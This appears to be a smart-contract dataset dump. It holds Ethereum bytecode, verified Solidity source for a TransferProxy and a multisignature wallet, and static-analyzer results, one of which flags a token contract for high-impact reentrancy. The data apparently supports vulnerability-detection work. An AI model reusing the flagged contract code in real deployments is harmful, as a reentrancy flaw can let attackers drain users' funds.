0246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f4578636565647320746865205f6d61785478416d6f756e742e00000000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f4578636565647320746865206d617857616c6c657453697a652e000000000000600082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b61370a81613216565b811461371557600080fd5b50565b61372181613228565b811461372c57600080fd5b50565b61373881613254565b811461374357600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220957d7d4949da5247cfb6712cff3ac0ea60ffa431e10306cec44d996665ff727a64736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
10,051
0x1f8a1733debf150f4f38e72c811fc1af0e7e5e7f
/** *Submitted for verification at Etherscan.io on 2021-09-16 */ //SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.4; interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of NFTs in `owner`'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the NFT specified by `tokenId`. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Transfers a specific NFT (`tokenId`) from one account (`from`) to * another (`to`). * * * * Requirements: * - `from`, `to` cannot be zero. * - `tokenId` must be owned by `from`. * - `tokenId` must be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this * NFT by either {approve} or {setApprovalForAll}. */ function safeTransferFrom(address from, address to, uint256 tokenId) external; /** * @dev Transfers a specific NFT (`tokenId`) from one account (`from`) to * another (`to`). * * Requirements: * - If the caller is not `from`, it must be approved to move this NFT by * either {approve} or {setApprovalForAll}. */ function transferFrom(address from, address to, uint256 tokenId) external; function approve(address to, uint256 tokenId) external; function getApproved(uint256 tokenId) external view returns (address operator); function setApprovalForAll(address operator, bool _approved) external; function isApprovedForAll(address owner, address operator) external view returns (bool); function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external; } interface IERC1155 is IERC165 { /** @dev Either `TransferSingle` or `TransferBatch` MUST emit when tokens are transferred, including zero value transfers as well as minting or burning (see "Safe Transfer Rules" section of the standard). The `_operator` argument MUST be msg.sender. The `_from` argument MUST be the address of the holder whose balance is decreased. The `_to` argument MUST be the address of the recipient whose balance is increased. The `_id` argument MUST be the token type being transferred. The `_value` argument MUST be the number of tokens the holder balance is decreased by and match what the recipient balance is increased by. When minting/creating tokens, the `_from` argument MUST be set to `0x0` (i.e. zero address). When burning/destroying tokens, the `_to` argument MUST be set to `0x0` (i.e. zero address). */ event TransferSingle(address indexed _operator, address indexed _from, address indexed _to, uint256 _id, uint256 _value); /** @dev Either `TransferSingle` or `TransferBatch` MUST emit when tokens are transferred, including zero value transfers as well as minting or burning (see "Safe Transfer Rules" section of the standard). The `_operator` argument MUST be msg.sender. The `_from` argument MUST be the address of the holder whose balance is decreased. The `_to` argument MUST be the address of the recipient whose balance is increased. The `_ids` argument MUST be the list of tokens being transferred. The `_values` argument MUST be the list of number of tokens (matching the list and order of tokens specified in _ids) the holder balance is decreased by and match what the recipient balance is increased by. When minting/creating tokens, the `_from` argument MUST be set to `0x0` (i.e. zero address). When burning/destroying tokens, the `_to` argument MUST be set to `0x0` (i.e. zero address). */ event TransferBatch(address indexed _operator, address indexed _from, address indexed _to, uint256[] _ids, uint256[] _values); /** @dev MUST emit when approval for a second party/operator address to manage all tokens for an owner address is enabled or disabled (absense of an event assumes disabled). */ event ApprovalForAll(address indexed _owner, address indexed _operator, bool _approved); /** @dev MUST emit when the URI is updated for a token ID. URIs are defined in RFC 3986. The URI MUST point a JSON file that conforms to the "ERC-1155 Metadata URI JSON Schema". */ event URI(string _value, uint256 indexed _id); /** @notice Transfers `_value` amount of an `_id` from the `_from` address to the `_to` address specified (with safety call). @dev Caller must be approved to manage the tokens being transferred out of the `_from` account (see "Approval" section of the standard). MUST revert if `_to` is the zero address. MUST revert if balance of holder for token `_id` is lower than the `_value` sent. MUST revert on any other error. MUST emit the `TransferSingle` event to reflect the balance change (see "Safe Transfer Rules" section of the standard). After the above conditions are met, this function MUST check if `_to` is a smart contract (e.g. code size > 0). If so, it MUST call `onERC1155Received` on `_to` and act appropriately (see "Safe Transfer Rules" section of the standard). @param _from Source address @param _to Target address @param _id ID of the token type @param _value Transfer amount @param _data Additional data with no specified format, MUST be sent unaltered in call to `onERC1155Received` on `_to` */ function safeTransferFrom(address _from, address _to, uint256 _id, uint256 _value, bytes calldata _data) external; /** @notice Transfers `_values` amount(s) of `_ids` from the `_from` address to the `_to` address specified (with safety call). @dev Caller must be approved to manage the tokens being transferred out of the `_from` account (see "Approval" section of the standard). MUST revert if `_to` is the zero address. MUST revert if length of `_ids` is not the same as length of `_values`. MUST revert if any of the balance(s) of the holder(s) for token(s) in `_ids` is lower than the respective amount(s) in `_values` sent to the recipient. MUST revert on any other error. MUST emit `TransferSingle` or `TransferBatch` event(s) such that all the balance changes are reflected (see "Safe Transfer Rules" section of the standard). Balance changes and events MUST follow the ordering of the arrays (_ids[0]/_values[0] before _ids[1]/_values[1], etc). After the above conditions for the transfer(s) in the batch are met, this function MUST check if `_to` is a smart contract (e.g. code size > 0). If so, it MUST call the relevant `ERC1155TokenReceiver` hook(s) on `_to` and act appropriately (see "Safe Transfer Rules" section of the standard). @param _from Source address @param _to Target address @param _ids IDs of each token type (order and length must match _values array) @param _values Transfer amounts per token type (order and length must match _ids array) @param _data Additional data with no specified format, MUST be sent unaltered in call to the `ERC1155TokenReceiver` hook(s) on `_to` */ function safeBatchTransferFrom(address _from, address _to, uint256[] calldata _ids, uint256[] calldata _values, bytes calldata _data) external; /** @notice Get the balance of an account's Tokens. @param _owner The address of the token holder @param _id ID of the Token @return The _owner's balance of the Token type requested */ function balanceOf(address _owner, uint256 _id) external view returns (uint256); /** @notice Get the balance of multiple account/token pairs @param _owners The addresses of the token holders @param _ids ID of the Tokens @return The _owner's balance of the Token types requested (i.e. balance for each (owner, id) pair) */ function balanceOfBatch(address[] calldata _owners, uint256[] calldata _ids) external view returns (uint256[] memory); /** @notice Enable or disable approval for a third party ("operator") to manage all of the caller's tokens. @dev MUST emit the ApprovalForAll event on success. @param _operator Address to add to the set of authorized operators @param _approved True if the operator is approved, false to revoke approval */ function setApprovalForAll(address _operator, bool _approved) external; /** @notice Queries the approval status of an operator for a given owner. @param _owner The owner of the Tokens @param _operator Address of authorized operator @return True if the operator is approved, false if not */ function isApprovedForAll(address _owner, address _operator) external view returns (bool); } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract TransferProxy { event operatorChanged(address indexed from, address indexed to); event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); address public owner; address public operator; constructor() { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner == msg.sender, "Ownable: caller is not the owner"); _; } modifier onlyOperator() { require(operator == msg.sender, "OperatorRole: caller does not have the Operator role"); _; } /** change the OperatorRole from contract creator address to trade contractaddress @param _operator :trade address */ function changeOperator(address _operator) public onlyOwner returns(bool) { require(_operator != address(0), "Operator: new operator is the zero address"); operator = _operator; emit operatorChanged(address(0),operator); return true; } /** change the Ownership from current owner to newOwner address @param newOwner : newOwner address */ function ownerTransfership(address newOwner) public onlyOwner returns(bool){ require(newOwner != address(0), "Ownable: new owner is the zero address"); owner = newOwner; emit OwnershipTransferred(owner, newOwner); return true; } function erc721safeTransferFrom(IERC721 token, address from, address to, uint256 tokenId) external onlyOperator { token.safeTransferFrom(from, to, tokenId); } function erc1155safeTransferFrom(IERC1155 token, address from, address to, uint256 tokenId, uint256 value, bytes calldata data) external onlyOperator { token.safeTransferFrom(from, to, tokenId, value, data); } function erc20safeTransferFrom(IERC20 token, address from, address to, uint256 value) external onlyOperator { require(token.transferFrom(from, to, value), "failure while transferring"); } }
0x608060405234801561001057600080fd5b506004361061007d5760003560e01c8063776062c31161005b578063776062c3146100e85780638da5cb5b146100fd5780639c1c2ee914610110578063f709b9061461012357600080fd5b806306394c9b14610082578063570ca735146100aa5780636fdc202f146100d5575b600080fd5b61009561009036600461059b565b610136565b60405190151581526020015b60405180910390f35b6001546100bd906001600160a01b031681565b6040516001600160a01b0390911681526020016100a1565b6100956100e336600461059b565b610250565b6100fb6100f636600461069f565b610360565b005b6000546100bd906001600160a01b031681565b6100fb61011e3660046105e1565b610466565b6100fb61013136600461069f565b610501565b600080546001600160a01b031633146101965760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b6001600160a01b0382166101ff5760405162461bcd60e51b815260206004820152602a60248201527f4f70657261746f723a206e6577206f70657261746f7220697320746865207a65604482015269726f206164647265737360b01b606482015260840161018d565b600180546001600160a01b0319166001600160a01b0384169081179091556040516000907f1a377613c0f1788c756a416e15f930cf9e84c3a5e808fa2f00b5a18a91a7b864908290a3506001919050565b600080546001600160a01b031633146102ab5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161018d565b6001600160a01b0382166103105760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161018d565b600080546001600160a01b0319166001600160a01b0384169081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a3506001919050565b6001546001600160a01b0316331461038a5760405162461bcd60e51b815260040161018d9061074c565b6040516323b872dd60e01b81526001600160a01b0384811660048301528381166024830152604482018390528516906323b872dd90606401602060405180830381600087803b1580156103dc57600080fd5b505af11580156103f0573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061041491906105bf565b6104605760405162461bcd60e51b815260206004820152601a60248201527f6661696c757265207768696c65207472616e7366657272696e67000000000000604482015260640161018d565b50505050565b6001546001600160a01b031633146104905760405162461bcd60e51b815260040161018d9061074c565b604051637921219560e11b81526001600160a01b0388169063f242432a906104c6908990899089908990899089906004016106f0565b600060405180830381600087803b1580156104e057600080fd5b505af11580156104f4573d6000803e3d6000fd5b5050505050505050505050565b6001546001600160a01b0316331461052b5760405162461bcd60e51b815260040161018d9061074c565b604051632142170760e11b81526001600160a01b0384811660048301528381166024830152604482018390528516906342842e0e90606401600060405180830381600087803b15801561057d57600080fd5b505af1158015610591573d6000803e3d6000fd5b5050505050505050565b6000602082840312156105ad57600080fd5b81356105b8816107a0565b9392505050565b6000602082840312156105d157600080fd5b815180151581146105b857600080fd5b600080600080600080600060c0888a0312156105fc57600080fd5b8735610607816107a0565b96506020880135610617816107a0565b95506040880135610627816107a0565b9450606088013593506080880135925060a088013567ffffffffffffffff8082111561065257600080fd5b818a0191508a601f83011261066657600080fd5b81358181111561067557600080fd5b8b602082850101111561068757600080fd5b60208301945080935050505092959891949750929550565b600080600080608085870312156106b557600080fd5b84356106c0816107a0565b935060208501356106d0816107a0565b925060408501356106e0816107a0565b9396929550929360600135925050565b6001600160a01b03878116825286166020820152604081018590526060810184905260a06080820181905281018290526000828460c0840137600060c0848401015260c0601f19601f8501168301019050979650505050505050565b60208082526034908201527f4f70657261746f72526f6c653a2063616c6c657220646f6573206e6f74206861604082015273766520746865204f70657261746f7220726f6c6560601b606082015260800190565b6001600160a01b03811681146107b557600080fd5b5056fea264697066735822122086969b0211178b671797afffe5d38108f9fc9a09d860fac5842be05fd041cf0f64736f6c63430008070033
{"success": true, "error": null, "results": {}}
10,052
0x9a41fcfaef459f82a779d9a16baaaed41d52ef84
pragma solidity ^0.4.15; /// @title Multisignature wallet - Allows multiple parties to agree on transactions before execution. /// @author Stefan George - <stefan.george@consensys.net> contract MultiSigWallet { /* * Events */ event Confirmation(address indexed sender, uint indexed transactionId); event Revocation(address indexed sender, uint indexed transactionId); event Submission(uint indexed transactionId); event Execution(uint indexed transactionId); event ExecutionFailure(uint indexed transactionId); event Deposit(address indexed sender, uint value); event OwnerAddition(address indexed owner); event OwnerRemoval(address indexed owner); event RequirementChange(uint required); /* * Constants */ uint constant public MAX_OWNER_COUNT = 50; /* * Storage */ mapping (uint => Transaction) public transactions; mapping (uint => mapping (address => bool)) public confirmations; mapping (address => bool) public isOwner; address[] public owners; uint public required; uint public transactionCount; struct Transaction { address destination; uint value; bytes data; bool executed; } /* * Modifiers */ modifier onlyWallet() { require(msg.sender == address(this)); _; } modifier ownerDoesNotExist(address owner) { require(!isOwner[owner]); _; } modifier ownerExists(address owner) { require(isOwner[owner]); _; } modifier transactionExists(uint transactionId) { require(transactions[transactionId].destination != 0); _; } modifier confirmed(uint transactionId, address owner) { require(confirmations[transactionId][owner]); _; } modifier notConfirmed(uint transactionId, address owner) { require(!confirmations[transactionId][owner]); _; } modifier notExecuted(uint transactionId) { require(!transactions[transactionId].executed); _; } modifier notNull(address _address) { require(_address != 0); _; } modifier validRequirement(uint ownerCount, uint _required) { require(ownerCount <= MAX_OWNER_COUNT && _required <= ownerCount && _required != 0 && ownerCount != 0); _; } /// @dev Fallback function allows to deposit ether. function() payable { if (msg.value > 0) Deposit(msg.sender, msg.value); } /* * Public functions */ /// @dev Contract constructor sets initial owners and required number of confirmations. /// @param _owners List of initial owners. /// @param _required Number of required confirmations. function MultiSigWallet(address[] _owners, uint _required) public validRequirement(_owners.length, _required) { for (uint i=0; i<_owners.length; i++) { require(!isOwner[_owners[i]] && _owners[i] != 0); isOwner[_owners[i]] = true; } owners = _owners; required = _required; } /// @dev Allows to add a new owner. Transaction has to be sent by wallet. /// @param owner Address of new owner. function addOwner(address owner) public onlyWallet ownerDoesNotExist(owner) notNull(owner) validRequirement(owners.length + 1, required) { isOwner[owner] = true; owners.push(owner); OwnerAddition(owner); } /// @dev Allows to remove an owner. Transaction has to be sent by wallet. /// @param owner Address of owner. function removeOwner(address owner) public onlyWallet ownerExists(owner) { isOwner[owner] = false; for (uint i=0; i<owners.length - 1; i++) if (owners[i] == owner) { owners[i] = owners[owners.length - 1]; break; } owners.length -= 1; if (required > owners.length) changeRequirement(owners.length); OwnerRemoval(owner); } /// @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet. /// @param owner Address of owner to be replaced. /// @param newOwner Address of new owner. function replaceOwner(address owner, address newOwner) public onlyWallet ownerExists(owner) ownerDoesNotExist(newOwner) { for (uint i=0; i<owners.length; i++) if (owners[i] == owner) { owners[i] = newOwner; break; } isOwner[owner] = false; isOwner[newOwner] = true; OwnerRemoval(owner); OwnerAddition(newOwner); } /// @dev Allows to change the number of required confirmations. Transaction has to be sent by wallet. /// @param _required Number of required confirmations. function changeRequirement(uint _required) public onlyWallet validRequirement(owners.length, _required) { required = _required; RequirementChange(_required); } /// @dev Allows an owner to submit and confirm a transaction. /// @param destination Transaction target address. /// @param value Transaction ether value. /// @param data Transaction data payload. /// @return Returns transaction ID. function submitTransaction(address destination, uint value, bytes data) public returns (uint transactionId) { transactionId = addTransaction(destination, value, data); confirmTransaction(transactionId); } /// @dev Allows an owner to confirm a transaction. /// @param transactionId Transaction ID. function confirmTransaction(uint transactionId) public ownerExists(msg.sender) transactionExists(transactionId) notConfirmed(transactionId, msg.sender) { confirmations[transactionId][msg.sender] = true; Confirmation(msg.sender, transactionId); executeTransaction(transactionId); } /// @dev Allows an owner to revoke a confirmation for a transaction. /// @param transactionId Transaction ID. function revokeConfirmation(uint transactionId) public ownerExists(msg.sender) confirmed(transactionId, msg.sender) notExecuted(transactionId) { confirmations[transactionId][msg.sender] = false; Revocation(msg.sender, transactionId); } /// @dev Allows anyone to execute a confirmed transaction. /// @param transactionId Transaction ID. function executeTransaction(uint transactionId) public ownerExists(msg.sender) confirmed(transactionId, msg.sender) notExecuted(transactionId) { if (isConfirmed(transactionId)) { Transaction storage txn = transactions[transactionId]; txn.executed = true; if (external_call(txn.destination, txn.value, txn.data.length, txn.data)) Execution(transactionId); else { ExecutionFailure(transactionId); txn.executed = false; } } } // call has been separated into its own function in order to take advantage // of the Solidity's code generator to produce a loop that copies tx.data into memory. function external_call(address destination, uint value, uint dataLength, bytes data) private returns (bool) { bool result; assembly { let x := mload(0x40) // "Allocate" memory for output (0x40 is where "free memory" pointer is stored by convention) let d := add(data, 32) // First 32 bytes are the padded length of data, so exclude that result := call( sub(gas, 34710), // 34710 is the value that solidity is currently emitting // It includes callGas (700) + callVeryLow (3, to pay for SUB) + callValueTransferGas (9000) + // callNewAccountGas (25000, in case the destination address does not exist and needs creating) destination, value, d, dataLength, // Size of the input (in bytes) - this is what fixes the padding problem x, 0 // Output is ignored, therefore the output size is zero ) } return result; } /// @dev Returns the confirmation status of a transaction. /// @param transactionId Transaction ID. /// @return Confirmation status. function isConfirmed(uint transactionId) public constant returns (bool) { uint count = 0; for (uint i=0; i<owners.length; i++) { if (confirmations[transactionId][owners[i]]) count += 1; if (count == required) return true; } } /* * Internal functions */ /// @dev Adds a new transaction to the transaction mapping, if transaction does not exist yet. /// @param destination Transaction target address. /// @param value Transaction ether value. /// @param data Transaction data payload. /// @return Returns transaction ID. function addTransaction(address destination, uint value, bytes data) internal notNull(destination) returns (uint transactionId) { transactionId = transactionCount; transactions[transactionId] = Transaction({ destination: destination, value: value, data: data, executed: false }); transactionCount += 1; Submission(transactionId); } /* * Web3 call functions */ /// @dev Returns number of confirmations of a transaction. /// @param transactionId Transaction ID. /// @return Number of confirmations. function getConfirmationCount(uint transactionId) public constant returns (uint count) { for (uint i=0; i<owners.length; i++) if (confirmations[transactionId][owners[i]]) count += 1; } /// @dev Returns total number of transactions after filers are applied. /// @param pending Include pending transactions. /// @param executed Include executed transactions. /// @return Total number of transactions after filters are applied. function getTransactionCount(bool pending, bool executed) public constant returns (uint count) { for (uint i=0; i<transactionCount; i++) if ( pending && !transactions[i].executed || executed && transactions[i].executed) count += 1; } /// @dev Returns list of owners. /// @return List of owner addresses. function getOwners() public constant returns (address[]) { return owners; } /// @dev Returns array with owner addresses, which confirmed transaction. /// @param transactionId Transaction ID. /// @return Returns array of owner addresses. function getConfirmations(uint transactionId) public constant returns (address[] _confirmations) { address[] memory confirmationsTemp = new address[](owners.length); uint count = 0; uint i; for (i=0; i<owners.length; i++) if (confirmations[transactionId][owners[i]]) { confirmationsTemp[count] = owners[i]; count += 1; } _confirmations = new address[](count); for (i=0; i<count; i++) _confirmations[i] = confirmationsTemp[i]; } /// @dev Returns list of transaction IDs in defined range. /// @param from Index start position of transaction array. /// @param to Index end position of transaction array. /// @param pending Include pending transactions. /// @param executed Include executed transactions. /// @return Returns array of transaction IDs. function getTransactionIds(uint from, uint to, bool pending, bool executed) public constant returns (uint[] _transactionIds) { uint[] memory transactionIdsTemp = new uint[](transactionCount); uint count = 0; uint i; for (i=0; i<transactionCount; i++) if ( pending && !transactions[i].executed || executed && transactions[i].executed) { transactionIdsTemp[count] = i; count += 1; } _transactionIds = new uint[](to - from); for (i=from; i<to; i++) _transactionIds[i - from] = transactionIdsTemp[i]; } }
0x60806040526004361061011c5763ffffffff7c0100000000000000000000000000000000000000000000000000000000600035041663025e7c27811461015e578063173825d91461019257806320ea8d86146101b35780632f54bf6e146101cb5780633411c81c1461020057806354741525146102245780637065cb4814610255578063784547a7146102765780638b51d13f1461028e5780639ace38c2146102a6578063a0e67e2b14610361578063a8abe69a146103c6578063b5dc40c3146103eb578063b77bf60014610403578063ba51a6df14610418578063c01a8c8414610430578063c642747414610448578063d74f8edd146104b1578063dc8452cd146104c6578063e20056e6146104db578063ee22610b14610502575b600034111561015c5760408051348152905133917fe1fffcc4923d04b559f4d29a8bfc6cda04eb5b0d3c460751c2402c5c5cc9109c919081900360200190a25b005b34801561016a57600080fd5b5061017660043561051a565b60408051600160a060020a039092168252519081900360200190f35b34801561019e57600080fd5b5061015c600160a060020a0360043516610542565b3480156101bf57600080fd5b5061015c6004356106b9565b3480156101d757600080fd5b506101ec600160a060020a0360043516610773565b604080519115158252519081900360200190f35b34801561020c57600080fd5b506101ec600435600160a060020a0360243516610788565b34801561023057600080fd5b50610243600435151560243515156107a8565b60408051918252519081900360200190f35b34801561026157600080fd5b5061015c600160a060020a0360043516610814565b34801561028257600080fd5b506101ec600435610939565b34801561029a57600080fd5b506102436004356109bd565b3480156102b257600080fd5b506102be600435610a2c565b6040518085600160a060020a0316600160a060020a031681526020018481526020018060200183151515158152602001828103825284818151815260200191508051906020019080838360005b8381101561032357818101518382015260200161030b565b50505050905090810190601f1680156103505780820380516001836020036101000a031916815260200191505b509550505050505060405180910390f35b34801561036d57600080fd5b50610376610aea565b60408051602080825283518183015283519192839290830191858101910280838360005b838110156103b257818101518382015260200161039a565b505050509050019250505060405180910390f35b3480156103d257600080fd5b5061037660043560243560443515156064351515610b4d565b3480156103f757600080fd5b50610376600435610c86565b34801561040f57600080fd5b50610243610dff565b34801561042457600080fd5b5061015c600435610e05565b34801561043c57600080fd5b5061015c600435610e84565b34801561045457600080fd5b50604080516020600460443581810135601f8101849004840285018401909552848452610243948235600160a060020a0316946024803595369594606494920191908190840183828082843750949750610f4f9650505050505050565b3480156104bd57600080fd5b50610243610f6e565b3480156104d257600080fd5b50610243610f73565b3480156104e757600080fd5b5061015c600160a060020a0360043581169060243516610f79565b34801561050e57600080fd5b5061015c600435611103565b600380548290811061052857fe5b600091825260209091200154600160a060020a0316905081565b600033301461055057600080fd5b600160a060020a038216600090815260026020526040902054829060ff16151561057957600080fd5b600160a060020a0383166000908152600260205260408120805460ff1916905591505b600354600019018210156106545782600160a060020a03166003838154811015156105c357fe5b600091825260209091200154600160a060020a03161415610649576003805460001981019081106105f057fe5b60009182526020909120015460038054600160a060020a03909216918490811061061657fe5b9060005260206000200160006101000a815481600160a060020a030219169083600160a060020a03160217905550610654565b60019091019061059c565b60038054600019019061066790826113d6565b5060035460045411156106805760035461068090610e05565b604051600160a060020a038416907f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9090600090a2505050565b3360008181526002602052604090205460ff1615156106d757600080fd5b60008281526001602090815260408083203380855292529091205483919060ff16151561070357600080fd5b600084815260208190526040902060030154849060ff161561072457600080fd5b6000858152600160209081526040808320338085529252808320805460ff191690555187927ff6a317157440607f36269043eb55f1287a5a19ba2216afeab88cd46cbcfb88e991a35050505050565b60026020526000908152604090205460ff1681565b600160209081526000928352604080842090915290825290205460ff1681565b6000805b60055481101561080d578380156107d5575060008181526020819052604090206003015460ff16155b806107f957508280156107f9575060008181526020819052604090206003015460ff165b15610805576001820191505b6001016107ac565b5092915050565b33301461082057600080fd5b600160a060020a038116600090815260026020526040902054819060ff161561084857600080fd5b81600160a060020a038116151561085e57600080fd5b6003805490506001016004546032821115801561087b5750818111155b801561088657508015155b801561089157508115155b151561089c57600080fd5b600160a060020a038516600081815260026020526040808220805460ff1916600190811790915560038054918201815583527fc2575a0e9e593c00f959f8c92f12db2869c3395a3b0502d05e2516446f71f85b01805473ffffffffffffffffffffffffffffffffffffffff191684179055517ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d9190a25050505050565b600080805b6003548110156109b6576000848152600160205260408120600380549192918490811061096757fe5b6000918252602080832090910154600160a060020a0316835282019290925260400190205460ff161561099b576001820191505b6004548214156109ae57600192506109b6565b60010161093e565b5050919050565b6000805b600354811015610a2657600083815260016020526040812060038054919291849081106109ea57fe5b6000918252602080832090910154600160a060020a0316835282019290925260400190205460ff1615610a1e576001820191505b6001016109c1565b50919050565b6000602081815291815260409081902080546001808301546002808501805487516101009582161595909502600019011691909104601f8101889004880284018801909652858352600160a060020a0390931695909491929190830182828015610ad75780601f10610aac57610100808354040283529160200191610ad7565b820191906000526020600020905b815481529060010190602001808311610aba57829003601f168201915b5050506003909301549192505060ff1684565b60606003805480602002602001604051908101604052809291908181526020018280548015610b4257602002820191906000526020600020905b8154600160a060020a03168152600190910190602001808311610b24575b505050505090505b90565b606080600080600554604051908082528060200260200182016040528015610b7f578160200160208202803883390190505b50925060009150600090505b600554811015610c0657858015610bb4575060008181526020819052604090206003015460ff16155b80610bd85750848015610bd8575060008181526020819052604090206003015460ff165b15610bfe57808383815181101515610bec57fe5b60209081029091010152600191909101905b600101610b8b565b878703604051908082528060200260200182016040528015610c32578160200160208202803883390190505b5093508790505b86811015610c7b578281815181101515610c4f57fe5b9060200190602002015184898303815181101515610c6957fe5b60209081029091010152600101610c39565b505050949350505050565b606080600080600380549050604051908082528060200260200182016040528015610cbb578160200160208202803883390190505b50925060009150600090505b600354811015610d785760008581526001602052604081206003805491929184908110610cf057fe5b6000918252602080832090910154600160a060020a0316835282019290925260400190205460ff1615610d70576003805482908110610d2b57fe5b6000918252602090912001548351600160a060020a0390911690849084908110610d5157fe5b600160a060020a03909216602092830290910190910152600191909101905b600101610cc7565b81604051908082528060200260200182016040528015610da2578160200160208202803883390190505b509350600090505b81811015610df7578281815181101515610dc057fe5b906020019060200201518482815181101515610dd857fe5b600160a060020a03909216602092830290910190910152600101610daa565b505050919050565b60055481565b333014610e1157600080fd5b6003548160328211801590610e265750818111155b8015610e3157508015155b8015610e3c57508115155b1515610e4757600080fd5b60048390556040805184815290517fa3f1ee9126a074d9326c682f561767f710e927faa811f7a99829d49dc421797a9181900360200190a1505050565b3360008181526002602052604090205460ff161515610ea257600080fd5b6000828152602081905260409020548290600160a060020a03161515610ec757600080fd5b60008381526001602090815260408083203380855292529091205484919060ff1615610ef257600080fd5b6000858152600160208181526040808420338086529252808420805460ff1916909317909255905187927f4a504a94899432a9846e1aa406dceb1bcfd538bb839071d49d1e5e23f5be30ef91a3610f4885611103565b5050505050565b6000610f5c8484846112c3565b9050610f6781610e84565b9392505050565b603281565b60045481565b6000333014610f8757600080fd5b600160a060020a038316600090815260026020526040902054839060ff161515610fb057600080fd5b600160a060020a038316600090815260026020526040902054839060ff1615610fd857600080fd5b600092505b6003548310156110695784600160a060020a031660038481548110151561100057fe5b600091825260209091200154600160a060020a0316141561105e578360038481548110151561102b57fe5b9060005260206000200160006101000a815481600160a060020a030219169083600160a060020a03160217905550611069565b600190920191610fdd565b600160a060020a03808616600081815260026020526040808220805460ff1990811690915593881682528082208054909416600117909355915190917f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9091a2604051600160a060020a038516907ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d90600090a25050505050565b3360008181526002602052604081205490919060ff16151561112457600080fd5b60008381526001602090815260408083203380855292529091205484919060ff16151561115057600080fd5b600085815260208190526040902060030154859060ff161561117157600080fd5b61117a86610939565b156112bb576000868152602081815260409182902060038101805460ff19166001908117909155815481830154600280850180548851601f60001997831615610100029790970190911692909204948501879004870282018701909752838152939a5061124e95600160a060020a03909216949093919083908301828280156112445780601f1061121957610100808354040283529160200191611244565b820191906000526020600020905b81548152906001019060200180831161122757829003601f168201915b50505050506113b3565b156112835760405186907f33e13ecb54c3076d8e8bb8c2881800a4d972b792045ffae98fdf46df365fed7590600090a26112bb565b60405186907f526441bb6c1aba3c9a4a6ca1d6545da9c2333c8c48343ef398eb858d72b7923690600090a260038501805460ff191690555b505050505050565b600083600160a060020a03811615156112db57600080fd5b60055460408051608081018252600160a060020a0388811682526020808301898152838501898152600060608601819052878152808452959095208451815473ffffffffffffffffffffffffffffffffffffffff19169416939093178355516001830155925180519496509193909261135b9260028501929101906113ff565b50606091909101516003909101805460ff191691151591909117905560058054600101905560405182907fc0ba8fe4b176c1714197d43b9cc6bcf797a4a7461c5fe8d0ef6e184ae7601e5190600090a2509392505050565b6000806040516020840160008287838a8c6187965a03f198975050505050505050565b8154818355818111156113fa576000838152602090206113fa91810190830161147d565b505050565b828054600181600116156101000203166002900490600052